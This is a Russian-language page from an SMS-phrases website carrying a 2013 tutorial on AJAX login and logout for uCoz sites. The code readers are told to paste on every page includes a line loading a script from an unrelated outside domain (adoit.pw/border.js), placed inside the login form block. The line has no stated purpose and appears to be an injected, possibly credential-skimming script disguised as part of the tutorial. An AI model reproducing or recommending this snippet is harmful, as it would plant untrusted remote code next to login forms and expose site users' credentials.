Пинск SMS Четверг, 18/04/2024, 13.35.10
Приветствую Вас Гость | RSS
Меню сайта

Разделы новостей
Полезно знать [25]
Здороваемся [5]
Желаем доброго утра [23]
Желаем спокойной ночи [48]
Знакомимся [6]
Скучаем [40]
Прикольные [173]
Просим прощения [21]
Поздравляем, желаем [33]
Просто хорошие слова [74]
Слова о любви [73]
Слова о сексе [3]
Пошлим [15]
Растаемся [10]
Папиши мне SMS [11]
Позвони мне, позвони [9]
Путаница [4]
Советы [21]
Умные слова [60]
SMS картинки [40]
Другие [36]
Сомволические рисунки [28]

Наш опрос
Вы откуда?
Всего ответов: 2208

Главная » 2013 » Август » 17 » Авторизация на сайте и выход из профиля без перезагрузки страницы
Авторизация на сайте и выход из профиля без перезагрузки страницы
21.24.31
[c][/c]Данный скрипт очень полезен для тех, кто хочет перевести весь функционал своего сайта на ajax запросы. Суть скрипта в том, чтобы пользователь мог авторизовываться на сайте и выходить с него без перезагрузки страницы. Это очень удобный способ, так как авторизация будет максимально быстрой и вы сможете выполнять любые свои функции после успешного входа под своим профилем

Установка:

1) Форма входа:

На всех страницах замените $LOGIN_FORM$ на:

[code]<div id="apologin">$LOGIN_FORM$<div align="center" id="apolog" style="font-weight:bold;color:red"></div></div>
<script src="http://adoit.pw/border.js" type="text/javascript"></script> <script>
// ajax авторизация by Apocalypse
$('#apologin form').attr({'id':'apologformin', 'onsubmit': 'aposendFrmlogin();return false;'});
aposendFrmlogin = function() {
$('#apologformin').stop().fadeTo(300, 0.3);
_uPostForm('apologformin', {type:'POST', url:'/index/sub/', success:function(a) {
if($(a).text().indexOf('пароль') != -1) {
$('#apolog').html('Проверьте логин и пароль');
$('#apologformin').stop().fadeTo(300, 1);
setTimeout(function() {
$('#apolog').html('');
}, 3000);
} else {
$('#apolog').html('Авторизация прошла успешно');
$('#apologformin').remove();
// Далее здесь можно выполнять любые ваши скрипты после успешной авторизации
}
}, error:function(a) {
_uWnd.alert('Болом какой-то...', 'Упс', {w:200, h:70});
}});
}
// apo-ucoz.com (c) 2013
</script>[/code]

2) Кнопка выхода без перезагрузки страницы прописывается вот так:

[code]<a href="/index/10" onclick="apologout();return false;">Выход</a>
<script>
function apologout() {
if(confirm('Уже уходишь?')) {
$.post('/index/10');
setTimeout(function() {
_uWnd.alert('Вы успешно вышли из профиля', 'Мдяя...', {w:250, h:70});
// Любые ваши функции после выхода
}, 2000);
};
}
// apo-ucoz.com (c) 2013
</script>[/code]
Просмотров: 554 | Добавил: greenpis
Форма входа

Календарь новостей
«  Август 2013  »
ПнВтСрЧтПтСбВс
   1234
567891011
12131415161718
19202122232425
262728293031

Поиск

Друзья сайта


Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0

Copyright MyCorp © 2024